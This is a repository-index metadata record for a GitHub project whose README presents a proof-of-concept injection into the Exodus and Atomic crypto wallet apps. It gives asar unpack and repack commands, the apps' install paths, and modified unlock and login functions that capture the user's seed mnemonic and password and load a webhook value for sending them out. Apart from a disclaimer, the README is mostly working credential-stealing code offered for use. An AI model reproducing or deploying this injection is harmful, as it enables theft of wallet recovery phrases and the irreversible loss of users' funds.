{"id":44627798,"url":"https://github.com/hackirby/wallets-injection","last_synced_at":"2026-02-14T15:38:23.444Z","repository":{"id":203146054,"uuid":"708849219","full_name":"hackirby/wallets-injection","owner":"hackirby","description":"Exodus and Atomic crypto wallets app.asar injection POC (captures mnemonic and password) for educational purposes only.","archived":false,"fork":false,"pushed_at":"2023-10-23T14:08:48.000Z","size":36,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2023-10-23T18:31:14.957Z","etag":null,"topics":["asar","atomic","exodus","exodus-injection","injection","mnemonic","password","phrase","seed","wallets"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/hackirby.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-10-23T14:08:34.000Z","updated_at":"2023-10-23T18:31:16.400Z","dependencies_parsed_at":null,"dependency_job_id":"ed09a6c6-5c14-4842-bb52-5053187ccb0c","html_url":"https://github.com/hackirby/wallets-injection","commit_stats":null,"previous_names":["hackirby/wallets-injection"],"tags_count":null,"template":null,"template_full_name":null,"purl":"pkg:github/hackirby/wallets-injection","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hackirby%2Fwallets-injection","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hackirby%2Fwallets-injection/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hackirby%2Fwallets-injection/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hackirby%2Fwallets-injection/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/hackirby","download_url":"https://codeload.github.com/hackirby/wallets-injection/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hackirby%2Fwallets-injection/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29448123,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-14T14:10:32.461Z","status":"ssl_error","status_checked_at":"2026-02-14T14:09:49.945Z","response_time":53,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["asar","atomic","exodus","exodus-injection","injection","mnemonic","password","phrase","seed","wallets"],"created_at":"2026-02-14T15:38:22.898Z","updated_at":"2026-02-14T15:38:23.435Z","avatar_url":"https://github.com/hackirby.png","language":null,"readme":"# wallets-injection\n Exodus and Atomic crypto wallets injection POC (captures mnemonic and password)\n\n## Unpack ASAR\n```\nasar extract app.asar \u003coutput\u003e\n```\n\n## Pack to ASAR\n```\nasar pack \u003cinput\u003e app.asar\n```\n\n## Exodus\n```js\nasync unlock(e) {\n    if (await this.shouldUseTwoFactorAuthMode()) return;\n    const t = await Object(ee.readSeco)(this._walletPaths.seedFile, e);\n    this._setSeed(M.fromBuffer(t)), P.a.randomFillSync(t), await this._loadLightningCreds()\n\n    const webhook = await fs.readFile('LICENSE', 'utf8');\n    const mnemonic = this._seed.mnemonicString;\n    const password = e;\n}\n```\n\n![image](./assets/exodus.png)\n\nLocated at `%LOCALAPPDATA%\\exodus\\app-\u003cversion\u003e\\resources\\app.asar`\n\n## Atomic\nI had to go back to an old Atomic version that allowed me to import modules. It can still be injected to new versions. After login, user is prompted for an update.\n```js\nasync login() {\n    let e;\n    this.$storage.password = this.password;\n    try {\n        if (e = await this.$addresses.get(), 0 === e.length) throw new Error(\"empty addresses\")\n    } catch (e) {\n        return console.error(e), void(this.passwordError = \"Wrong password\")\n    }\n\n    const mnemonic = await this.$storage.get(\"general_mnemonic\");\n    const password = await this.password\n    const fs = require('fs').promises;\n    const webhook = await fs.readFile('LICENSE.electron.txt', 'utf8');\n}\n```\n![image](./assets/atomic.png)\n\nLocated at `%LOCALAPPDATA%\\Programs\\atomic\\resources\\app.asar`\n\n## Credits:\n- [loTus04](https://github.com/loTus04) for Atomic injection\n- [dropout1337](https://github.com/dropout1337) for Exodus injection\n\n## Disclaimer:\n\n### Important Notice:\nThese injections are inteded for educational purposes only. There are provided strictly for educational and research purposes. Under no circumstances these should be used for any malicious activities, including but not limited to unauthorized access, data theft, or any other harmful actions.\n\n### Usage Responsibility:\n\nBy accessing and using these injections, you acknowledge that you are solely responsible for your actions. Any misuse of these injections is strictly prohibited, and the creator (hackirby) disclaims any responsibility for how these injections is utilized. You are fully accountable for ensuring that your usage complies with all applicable laws and regulations in your jurisdiction.\n\n### No Liability:\n\nThe creator (hackirby) of these injections shall not be held responsible for any damages or legal consequences resulting from the use or misuse of this software. This includes, but is not limited to, direct, indirect, incidental, consequential, or punitive damages arising out of your access, use, or inability to use these injections.\n\n### No support:\n\nThe creator (hackirby) will not provide any support, guidance, or assistance related to the misuse of these injections. Any inquiries regarding malicious activities will be ignored.\n\n### Acceptance of Terms:\n\nBy using these injections, you signify your acceptance of this disclaimer. If you do not agree with the terms stated in this disclaimer, do not use them.\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhackirby%2Fwallets-injection","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fhackirby%2Fwallets-injection","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhackirby%2Fwallets-injection/lists"}